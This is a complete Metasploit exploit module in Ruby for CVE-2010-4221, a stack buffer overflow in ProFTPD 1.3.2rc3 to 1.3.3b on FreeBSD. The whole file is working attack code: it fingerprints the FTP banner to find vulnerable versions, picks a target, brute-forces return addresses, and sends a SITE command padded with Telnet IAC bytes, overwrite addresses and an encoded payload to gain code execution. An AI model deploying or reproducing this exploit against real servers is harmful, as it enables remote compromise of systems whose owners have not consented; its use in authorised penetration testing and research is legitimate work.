ProFTPd 1.3.2 rc3 < 1.3.3b (FreeBSD) - Telnet IAC Buffer Overflow (Metasploit)
## # $Id: proftp_telnet_iac.rb 11208 2010-12-02 21:10:03Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)', 'Description' => %q{ This module exploits a stack-based buffer overflow in versions of ProFTPD server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a large number of Telnet IAC commands, an attacker can corrupt memory and execute arbitrary code. }, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 11208 $', 'References' => [ ['CVE', '2010-4221'], ['OSVDB', '68985'], ['BID', '44562'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependChrootBreak' => true }, 'Privileged' => true, 'Payload' => { 'Space' => 1024, # NOTE: \xff's need to be doubled (per ftp/telnet stuff) 'BadChars' => "\x00\x0a\x0d", 'PrependEncoder' => "\x83\xec\x7f", # sub esp,0x7f (fix esp) }, 'Platform' => [ 'bsd' ], 'Targets' => [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # # This special one comes first since we dont want its index changing. # [ 'Debug', { 'IACCount' => 8192, # should cause crash writing off end of stack 'Offset' => 0, 'Ret' => 0x41414242, 'Writable' => 0x43434545 } ], # # specific targets # [ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)', { 'IACCount' => 1024, 'Offset' => 0x414, #'Ret' => 0xbfbfeac4, 'Writable' => 0x80e64a4, 'Bruteforce' => { 'Start' => { 'Ret' => 0xbfbffdfc }, 'Stop' => { 'Ret' => 0xbfa00000 }, 'Step' => 512 } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 1 2010')) register_options( [ Opt::RPORT(21), ], self.class ) end def check # NOTE: We don't care if the login failed here... ret = connect # We just want the banner to check against our targets.. print_status("FTP Banner: #{banner.strip}") status = CheckCode::Safe if banner =~ /ProFTPD (1\.3\.[23][^ ])/i ver = $1 maj,min,rel = ver.split('.') relv = rel.slice!(0,1) case relv when '2' if rel.length > 0 if rel[0,2] == 'rc' if rel[2,rel.length].to_i >= 3 status = CheckCode::Vulnerable end else status = CheckCode::Vulnerable end end when '3' # 1.3.3+ defaults to vulnerable (until >= 1.3.3c) status = CheckCode::Vulnerable if rel.length > 0 if rel[0,2] != 'rc' and rel[0,1] > 'b' status = CheckCode::Safe end end end end disconnect return status end def target return @mytarget if @mytarget super end def exploit connect # Use a copy of the target @mytarget = target if (target['auto']) @mytarget = nil print_status("Automatically detecting the target...") if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else raise RuntimeError, "No matching target" end regexp = Regexp.escape(version) self.targets.each do |t| if (t.name =~ /#{regexp}/) then @mytarget = t break end end if (not @mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{@mytarget.name}") pl = exploit_regenerate_payload(@mytarget.platform, arch) if not pl raise RuntimeError, 'Unable to regenerate payload!' end else print_status("Trying target #{@mytarget.name}...") if banner print_status("FTP Banner: #{banner.strip}") end pl = payload end disconnect super end def brute_exploit(addrs) @mytarget ||= target ret = addrs['Ret'] print_status("Trying return address 0x%.8x..." % ret) #puts "attach and press any key"; bleh = $stdin.gets buf = '' buf << 'SITE ' # NOTE: buf must be odd-lengthed prior to here. buf << "\xff" * @mytarget['IACCount'] buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length) buf << [ ret, @mytarget['Writable'] ].pack('V*') buf << payload.encoded buf << "\r\n" connect sock.put(buf) disconnect handler end end |